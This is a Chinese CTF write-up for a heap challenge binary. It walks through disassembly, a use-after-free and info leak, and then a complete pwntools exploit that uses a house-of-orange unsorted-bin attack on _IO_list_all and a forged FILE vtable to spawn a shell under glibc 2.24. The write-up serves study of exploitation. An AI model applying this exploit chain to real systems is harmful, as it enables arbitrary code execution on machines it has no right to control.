$ file 300
300: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5f43b102f0fe3f3dd770637f1d244384f6b2a1c9, not stripped
$ checksec -f 300
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 2 300
$ strings libc-2.24.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.24-9ubuntu2.2) stable release version 2.24, by Roland McGrath et al.
Compiled by GNU CC version 6.3.0 20170406.
64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。
在 Ubuntu16.10 上玩一下:
) alloc
2) write
3) print
4) free
1 <-- alloc 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2
slot? (0-9)
1 <-- write 1
AAAAAAAAAAAAAAAA
1) alloc
2) write
3) print
4) free
4 <-- free 1
slot? (0-9)
1
1) alloc
2) write
3) print
4) free
2 <-- write 1
slot? (0-9)
1
BBBBBBBB
1) alloc
2) write
3) print
4) free
3 <-- print 1
slot? (0-9)
1
BBBBBBBB
AAAAAAA
1) alloc
2) write
3) print
4) free
3 <-- print 2
slot? (0-9)
2
Segmentation fault (core dumped)
很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 \x00
导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。
[0x00000790]> pdf @ main
/ (fcn) main 180
| main ();
| ; var int local_20h @ rbp-0x20
| ; var int local_14h @ rbp-0x14
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; DATA XREF from 0x000007ad (entry0)
| 0x00000a91 push rbp
| 0x00000a92 mov rbp, rsp
| 0x00000a95 sub rsp, 0x20
| 0x00000a99 mov dword [local_14h], edi
| 0x00000a9c mov qword [local_20h], rsi
| ; CODE XREF from 0x00000b40 (main)
| .-> 0x00000aa0 mov eax, 0
| : 0x00000aa5 call sym.menu
| : 0x00000aaa mov eax, 0
| : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte)
| : 0x00000ab4 mov dword [local_8h], eax
| : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)"
| : 0x00000abe call sym.myputs
| : 0x00000ac3 mov eax, 0
| : 0x00000ac8 call sym.read_int ; 读入 slot
| : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h]
| : 0x00000ad0 cmp dword [local_4h], 0
| ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转,程序退出
| |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0
| ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转
| ||: ; CODE XREF from 0x00000ad4 (main)
| |`--> 0x00000adc mov edi, 0
| | : 0x00000ae1 call sym.imp.exit ; void exit(int status)
| | : ; CODE XREF from 0x00000ada (main)
| `---> 0x00000ae6 mov eax, dword [local_8h]
| : 0x00000ae9 cmp eax, 2
| ,==< 0x00000aec je 0xb12 ; write
| |: 0x00000aee cmp eax, 2
| ,===< 0x00000af1 jg 0xafa
| ||: 0x00000af3 cmp eax, 1
| ,====< 0x00000af6 je 0xb06 ; alloc
| ,=====< 0x00000af8 jmp 0xb36
| ||||: ; CODE XREF from 0x00000af1 (main)
| ||`---> 0x00000afa cmp eax, 3
| ||,===< 0x00000afd je 0xb1e ; print
| ||||: 0x00000aff cmp eax, 4
| ,======< 0x00000b02 je 0xb2a ; free
| ,=======< 0x00000b04 jmp 0xb36
| ||||||: ; CODE XREF from 0x00000af6 (main)
| |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot
| ||| ||: 0x00000b09 mov edi, eax
| ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot)
| |||,====< 0x00000b10 jmp 0xb40
| ||||||: ; CODE XREF from 0x00000aec (main)
| |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot
| ||||| : 0x00000b15 mov edi, eax
| ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot)
| |||||,==< 0x00000b1c jmp 0xb40
| ||||||: ; CODE XREF from 0x00000afd (main)
| ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot
| |||| |: 0x00000b21 mov edi, eax
| |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot)
| ||||,===< 0x00000b28 jmp 0xb40
| |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot
| | ||||: 0x00000b2d mov edi, eax
| | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot)
| |,======< 0x00000b34 jmp 0xb40
| ||||||: ; CODE XREF from 0x00000b04 (main)
| ||||||: ; CODE XREF from 0x00000b03 (main)
| ||||||: ; CODE XREF from 0x00000af8 (main)
| `-`-----> 0x00000b36 mov edi, 0
| | |||: 0x00000b3b call sym.imp.exit ; void exit(int status)
| | |||| ; CODE XREF from 0x00000b28 (main)
| | |||| ; CODE XREF from 0x00000b34 (main)
| | |||| ; CODE XREF from 0x00000b1c (main)
| | |||| ; CODE XREF from 0x00000b10 (main)
\ `-````=< 0x00000b40 jmp 0xaa0
从 main 函数中我们知道,程序的所有操作都是基于 slot。
[0x00000790]> pdf @ sym.alloc_it
/ (fcn) sym.alloc_it 51
| sym.alloc_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b0b (main)
| 0x000009ca push rbp
| 0x000009cb mov rbp, rsp
| 0x000009ce sub rsp, 0x10
| 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x000009d5 mov edi, 0x300
| 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间
| 0x000009df mov rcx, rax
| 0x000009e2 mov eax, dword [local_4h]
| 0x000009e5 cdqe
| 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8
| 0x000009ef lea rax, obj.allocs ; 0x202040
| 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8]
| 0x000009fa nop
| 0x000009fb leave
\ 0x000009fc ret
[0x00000790]> px 0x8*10 @ obj.allocs
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................
该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 0x202040
开始的数组 allocs 中。
[0x00000790]> pdf @ sym.write_it
/ (fcn) sym.write_it 56
| sym.write_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b17 (main)
| 0x000009fd push rbp
| 0x000009fe mov rbp, rsp
| 0x00000a01 sub rsp, 0x10
| 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a08 mov eax, dword [local_4h]
| 0x00000a0b cdqe
| 0x00000a0d lea rdx, [rax*8]
| 0x00000a15 lea rax, obj.allocs ; 0x202040
| 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a20 mov edx, 0x300
| 0x00000a25 mov rsi, rax
| 0x00000a28 mov edi, 0
| 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串
| 0x00000a32 nop
| 0x00000a33 leave
\ 0x00000a34 ret
该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 \x00
,可能导致信息泄露。
[0x00000790]> pdf @ sym.print_it
/ (fcn) sym.print_it 46
| sym.print_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b23 (main)
| 0x00000a35 push rbp
| 0x00000a36 mov rbp, rsp
| 0x00000a39 sub rsp, 0x10
| 0x00000a3d mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a40 mov eax, dword [local_4h]
| 0x00000a43 cdqe
| 0x00000a45 lea rdx, [rax*8]
| 0x00000a4d lea rax, obj.allocs ; 0x202040
| 0x00000a54 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a58 mov rdi, rax
| 0x00000a5b call sym.myputs ; 打印
| 0x00000a60 nop
| 0x00000a61 leave
\ 0x00000a62 ret
该函数用于打印 slot 对应空间中的字符串。
[0x00000790]> pdf @ sym.free_it
/ (fcn) sym.free_it 46
| sym.free_it ();
| ; var int local_4h @ rbp-0x4
| ; CALL XREF from 0x00000b2f (main)
| 0x00000a63 push rbp
| 0x00000a64 mov rbp, rsp
| 0x00000a67 sub rsp, 0x10
| 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h]
| 0x00000a6e mov eax, dword [local_4h]
| 0x00000a71 cdqe
| 0x00000a73 lea rdx, [rax*8]
| 0x00000a7b lea rax, obj.allocs ; 0x202040
| 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot]
| 0x00000a86 mov rdi, rax
| 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间
| 0x00000a8e nop
| 0x00000a8f leave
\ 0x00000a90 ret
该函数用于释放 slot 对应的空间,但是却没有将 allocs[slot] 指针置空,导致 UAF,或者 double-free。
从上面我们可以看到,程序的各项操作都基于 slot,对 allocs[slot] 指向的内存空间进行操作,但没有对 allocs[slot] 是否为空,或者其指向的内存是否为被释放的状态,都没有做任何检查,这也是之前发生段错误的原因。
def leak():
global libc_base
global heap_addr
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)
free(3)
printt(1)
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
printt(3)
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
log.info("libc_base address: 0x%x" % libc_base)
log.info("heap address: 0x%x" % heap_addr)
首先利用 unsorted bin 可以泄露出 libc 和 heap 的地址。分配 5 个 chunk 的原因是为了避免 \x00
截断(heap 基地址的低位 0x00
)。然后释放掉 1 和 3 即可。
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000000000000000
0x555555756070 <allocs+48>: 0x0000000000000000 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
0x555555757320: 0x00007ffff7dd1b58 0x0000555555757930
0x555555757330: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757940-0x10
0x555555757930: 0x0000000000000000 0x0000000000000311 <-- slot 3
0x555555757940: 0x0000555555757310 0x00007ffff7dd1b58
0x555555757950: 0x0000000000000000 0x0000000000000000
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
io_wstr_finish = libc_base + 0x3bdc90
fake_chunk = heap_addr + 0x310 * 4 + 0x20
fake_chunk_bk = heap_addr + 0x310 * 3
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
stream = stream.ljust(0x74, '\x00')
stream += p64(0) # fp->_flags2
stream = stream.ljust(0xa0, '\x00')
stream += p64(fake_chunk) # fp->_wide_data
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
payload += p64(0)
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
write(4, payload)
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
write(1, payload)
alloc(5)
alloc(6) # put fake chunk in smallbins[5]
free(5) # put a chunk in unsorted bin
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
alloc(5) # unsorted bin attack
这一步就比较复杂了。因为程序只允许分配 0x300 大小的 chunk,而我们知道 house-of-orange 需要大小为 0x60 的 chunk(放入 smallbins[5])。由于我们可以具有修改 free chunk 的能力,所以可以修改 unsorted bin 里 chunk 的 bk 指针指向伪造的 fake chunk,以将其链接到 unsorted bin 中。接下来的第一次 malloc 将修改 unsorted_bin->TAIL->bk 将指向 fake chunk,而第二次 malloc 的时候,由于大小不合适,fake chunk 就会被整理回 smallbins[5]:
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 1
0x555555757320: 0x0000000000000000 0x0000555555757c60 <-- bk points to fake chunk
0x555555757330: 0x000000000000000a 0x0000000000000000
gef➤ x/34gx 0x0000555555757c50-0x10
0x555555757c40: 0x0000000000000310 0x0000000000000311 <-- slot 4
0x555555757c50: 0x4141414141414141 0x4141414141414141
0x555555757c60: 0x0000000000000000 0x0000000000000061 <-- fake chunk
0x555555757c70: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
0x555555757c80: 0x0000000000000000 0x00000000ffffffff <-- fp->_IO_write_ptr
0x555555757c90: 0x00007ffff7b9ac40 0x0000000000000000 <-- fp->wide_data->buf_base
0x555555757ca0: 0x0000000000000000 0x0000000000000000
0x555555757cb0: 0x0000000000000000 0x0000000000000000
0x555555757cc0: 0x0000000000000000 0x0000000000000000
0x555555757cd0: 0x0000000000000000 0x0000000000000000
0x555555757ce0: 0x0000000000000000 0x0000000000000000
0x555555757cf0: 0x0000000000000000 0x0000000000000000
0x555555757d00: 0x0000555555757c60 0x0000000000000000 <-- fp->_wide_data
0x555555757d10: 0x0000000000000000 0x0000000000000000
0x555555757d20: 0x0000000000000000 0x0000000000000000 <-- fp->_mode
0x555555757d30: 0x0000000000000000 0x00007ffff7dcdc78 <-- vtable
0x555555757d40: 0x0000000000000000 0x00007ffff7a556a0 <-- ((_IO_strfile *) fp)->_s._free_buffer
gef➤ x/12gx 0x7ffff7dd1bb8-0x50
0x7ffff7dd1b68: 0x00007ffff7dd1b58 0x00007ffff7dd1b58 <-- unsorted bin
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
对于 vtable 的利用,上一节我们使用了 _IO_str_overflow
函数,这次我们就用 _IO_wstr_finish
函数。具体怎么用请查看章节 4.13。
值得注意的是 fp->_wide_data
指向了 fake chunk,所以就相当于我们复用了这一块空间,fp->_IO_write_end
的地方也是就是 fp->wide_data->buf_base
。
接下来利用 unsorted bin attack 修改 _IO_list_all
指向 &unsorted_bin-0x10
,而偏移 0x60 的地方就是 _IO_list_all->_chain
,即 smallbins[5],指向了 fake chunk。
gef➤ x/10gx &allocs
0x555555756040 <allocs>: 0x0000555555757010 0x0000555555757320
0x555555756050 <allocs+16>: 0x0000555555757630 0x0000555555757940
0x555555756060 <allocs+32>: 0x0000555555757c50 0x0000555555757320
0x555555756070 <allocs+48>: 0x0000555555757940 0x0000000000000000
0x555555756080 <allocs+64>: 0x0000000000000000 0x0000000000000000
gef➤ x/6gx 0x0000555555757320-0x10
0x555555757310: 0x0000000000000000 0x0000000000000311 <-- slot 5
0x555555757320: 0x0000000000000000 0x00007ffff7dd24f0 <-- bk points to _IO_list_all-0x10
0x555555757330: 0x000000000000000a 0x0000000000000000
gef➤ x/4gx 0x00007ffff7dd24f0
0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd1b58 0x0000000000000000
gef➤ x/14gx 0x00007ffff7dd1b58
0x7ffff7dd1b58: 0x0000555555757f50 0x0000000000000000 <-- &unsorted_bin-0x10
0x7ffff7dd1b68: 0x0000555555757310 0x00007ffff7dd24f0 <-- unsorted bin
0x7ffff7dd1b78: 0x00007ffff7dd1b68 0x00007ffff7dd1b68
0x7ffff7dd1b88: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x7ffff7dd1b98: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8: 0x0000555555757c60 0x0000555555757c60 <-- smallbins[5]
def pwn():
alloc(5) # abort routine
io.interactive()
最后触发异常处理,malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish
,获得 shell。
开启 ASLR,Bingo!!!
$ python exp.py
[+] Starting local process './300': pid 5158
[*] libc_base address: 0x7efdcef24000
[*] heap address: 0x5624a7a3c000
[*] _IO_list_all address: 0x7efdcf2e6500
[*] system address: 0x7efdcef696a0
[*] /bin/sh address: 0x7efdcf0aec40
[*] _IO_wstr_finish address: 0x7efdcf2e1c90
[*] Switching to interactive mode
*** Error in `./300': malloc(): memory corruption: 0x00007efdcf2e6500 ***
======= Backtrace: =========
$ whoami
firmy
完整的 exp 如下:
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process(['./300'], env={'LD_PRELOAD':'./libc-2.24.so'})
libc = ELF('libc-2.24.so')
def alloc(idx):
io.sendlineafter("free\n", '1')
io.sendlineafter("(0-9)\n", str(idx))
def write(idx, data):
io.sendlineafter("free\n", '2')
io.sendlineafter("(0-9)\n", str(idx))
io.sendline(data)
def printt(idx):
io.sendlineafter("free\n", '3')
io.sendlineafter("(0-9)\n", str(idx))
def free(idx):
io.sendlineafter("free\n", '4')
io.sendlineafter("(0-9)\n", str(idx))
def leak():
global libc_base
global heap_addr
alloc(0)
alloc(1)
alloc(2)
alloc(3)
alloc(4)
free(1)
free(3)
printt(1)
libc_base = u64(io.recvn(6).ljust(8, '\x00')) - 0x3c1b58
printt(3)
heap_addr = u64(io.recvn(6).ljust(8, '\x00')) - 0x310
log.info("libc_base address: 0x%x" % libc_base)
log.info("heap address: 0x%x" % heap_addr)
def house_of_orange():
io_list_all = libc_base + libc.symbols['_IO_list_all']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh\x00').next()
io_wstr_finish = libc_base + 0x3bdc90
fake_chunk = heap_addr + 0x310 * 4 + 0x20
fake_chunk_bk = heap_addr + 0x310 * 3
log.info("_IO_list_all address: 0x%x" % io_list_all)
log.info("system address: 0x%x" % system_addr)
log.info("/bin/sh address: 0x%x" % bin_sh_addr)
log.info("_IO_wstr_finish address: 0x%x" % io_wstr_finish)
stream = p64(0) + p64(0x61) # fake header # fp
stream += p64(0) + p64(fake_chunk_bk) # fake bk pointer
stream += p64(0) # fp->_IO_write_base
stream += p64(0xffffffff) # fp->_IO_write_ptr
stream += p64(bin_sh_addr) # fp->_IO_write_end # fp->wide_data->buf_base
stream = stream.ljust(0x74, '\x00')
stream += p64(0) # fp->_flags2
stream = stream.ljust(0xa0, '\x00')
stream += p64(fake_chunk) # fp->_wide_data
stream = stream.ljust(0xc0, '\x00')
stream += p64(0) # fp->_mode
payload = "A" * 0x10
payload += stream
payload += p64(0) * 2
payload += p64(io_wstr_finish - 0x18) # _IO_FILE_plus->vtable - 0x8
payload += p64(0)
payload += p64(system_addr) # ((_IO_strfile *) fp)->_s._free_buffer
write(4, payload)
payload = p64(0) + p64(fake_chunk) # unsorted_bin->TAIL->bk
write(1, payload)
alloc(5)
alloc(6) # put fake chunk in smallbins[5]
free(5) # put a chunk in unsorted bin
write(5, p64(0) + p64(io_list_all - 0x10)) # bk pointer
alloc(5) # unsorted bin attack
def pwn():
alloc(5) # abort routine
io.interactive()
if __name__ == '__main__':
leak()
house_of_orange()
pwn()